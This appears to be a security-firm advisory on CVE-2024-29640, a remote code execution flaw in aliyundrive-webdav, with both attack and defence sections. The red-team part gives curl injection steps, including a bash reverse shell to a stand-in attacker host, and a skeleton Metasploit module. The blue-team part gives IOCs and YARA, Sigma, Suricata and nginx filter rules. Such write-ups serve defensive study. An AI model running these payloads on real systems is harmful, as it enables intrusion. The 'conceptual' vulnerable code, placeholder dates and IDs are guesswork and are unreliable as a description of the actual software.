CVE-2024-29640

Executive Summary

CVE-2024-29640 is a critical remote code execution (RCE) vulnerability in aliyundrive-webdav versions 2.3.3 and earlier. The flaw resides in the action_query_qrcode component, where the sid parameter is not properly sanitized, allowing an attacker to inject and execute arbitrary code. This vulnerability can be exploited remotely without authentication, posing a severe risk to all instances running the affected software. No official patch has been released as of this analysis.

Supply Chain & Package Security

This vulnerability affects the aliyundrive-webdav package, which is typically distributed via npm or as a standalone binary. Users should verify the integrity of their installations and monitor for any malicious updates that may attempt to exploit this flaw. The lack of a patch increases the risk of supply chain attacks where threat actors could distribute trojanized versions of the package.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (remote, unauthenticated RCE), the estimated score is 9.8 (Critical).

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Threat Level: Critical. Immediate action is required.

Deep Dive & Mechanics

The vulnerability is a classic case of code injection. The action_query_qrcode component processes a sid parameter from user input. Due to insufficient input validation and sanitization, an attacker can inject arbitrary code (e.g., JavaScript, shell commands, or other interpreted languages) that gets executed in the context of the application.

Attack Flow:

1. The attacker sends a crafted HTTP request to the vulnerable endpoint.
2. The sid parameter contains a payload designed to break out of the intended context.
3. The application processes the payload without proper escaping or validation.
4. The injected code is executed, allowing the attacker to perform arbitrary actions such as reading files, executing system commands, or pivoting to internal networks.

Example Payload (Conceptual):

POST /action_query_qrcode HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

sid=;system('id');

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only reference. The issue likely exists in the handler for the action_query_qrcode route.

Vulnerable Code (Conceptual):

// Vulnerable handler
app.post('/action_query_qrcode', (req, res) => {
    const sid = req.body.sid;
    // Directly using sid in a dangerous function
    const result = eval(sid); // or exec(sid)
    res.send(result);
});

Patched Code (Hypothetical):

// Patched handler
app.post('/action_query_qrcode', (req, res) => {
    const sid = req.body.sid;
    // Validate and sanitize input
    if (typeof sid !== 'string' || !/^[a-zA-Z0-9]+$/.test(sid)) {
        return res.status(400).send('Invalid sid');
    }
    // Use safe methods
    const result = safeQuery(sid);
    res.send(result);
});

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Docker container running aliyundrive-webdav v2.3.3
• Attacker: Kali Linux

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -X POST http://target:8080/action_query_qrcode -d "sid=test"
   

2. Confirm code execution by injecting a simple command:

   curl -X POST http://target:8080/action_query_qrcode -d "sid=;echo VULNERABLE;"
   

3. Execute a reverse shell:

   curl -X POST http://target:8080/action_query_qrcode -d "sid=;bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1';"
   

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Aliyundrive-webdav RCE',
      'Description' => 'Exploits CVE-2024-29640',
      'Author'      => ['Your Name'],
      'References'  => [['CVE', '2024-29640']],
      'DisclosureDate' => '2024-01-01',
      'Payload'     => { 'BadChars' => "\x00" },
      'Targets'     => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    send_request_cgi({
      'method' => 'POST',
      'uri'    => '/action_query_qrcode',
      'data'   => "sid=;#{payload.encoded};"
    })
  end
end

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual POST requests to /action_query_qrcode.
2. Look for payloads containing shell metacharacters (;, |, &, `).
3. Implement Web Application Firewall (WAF) rules to block suspicious sid parameters.

Honeypot Configuration:

• Deploy a decoy instance of aliyundrive-webdav to capture attacker behavior.
• Log all requests to /action_query_qrcode for analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /action_query_qrcode with unusual sid parameters.
• Outbound connections to unknown IP addresses on high ports (e.g., 4444, 1337).

File IOCs:

• Unexpected files in /tmp or /var/tmp (e.g., exploit.sh, reverse_shell).
• Modified system binaries or scripts.

Log IOCs:

• Application logs showing errors related to eval or exec functions.
• System logs showing execution of commands like id, whoami, uname -a.

Detection Engineering

YARA Rule

rule CVE_2024_29640_Aliyundrive_Webdav_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2024-29640"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-29640"
    strings:
        $sid_param = "sid="
        $shell_meta = /[;&|`$]/
        $cmd_exec = /(system|exec|shell_exec|passthru|popen|proc_open)/
    condition:
        $sid_param and ($shell_meta or $cmd_exec)
}

Sigma Rule

title: CVE-2024-29640 Aliyundrive-webdav RCE Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to /action_query_qrcode with suspicious sid parameters
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/action_query_qrcode'
        cs-uri-query|contains: 'sid='
    keywords:
        - ';'
        - '|'
        - '&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in sid (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-29640 Aliyundrive-webdav RCE Attempt"; flow:to_server; content:"POST"; http_method; content:"/action_query_qrcode"; http_uri; content:"sid="; http_client_body; pcre:"/[;&|`$]/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from the network.
2. Disable the vulnerable endpoint if possible.
3. Implement a WAF rule to block suspicious sid parameters.

Long-term Fix:

• Since no official patch exists, consider migrating to an alternative solution.
• If you must continue using aliyundrive-webdav, apply input validation and sanitization manually.
• Monitor the vendor's repository for any security updates.

Workaround:

• Use a reverse proxy (e.g., Nginx) to filter requests:

  location /action_query_qrcode {
      if ($request_body ~* "sid=.*[;&|`$]") {
          return 403;
      }
      proxy_pass http://backend;
  }
  

Valters IT
Securing Digital Frontiers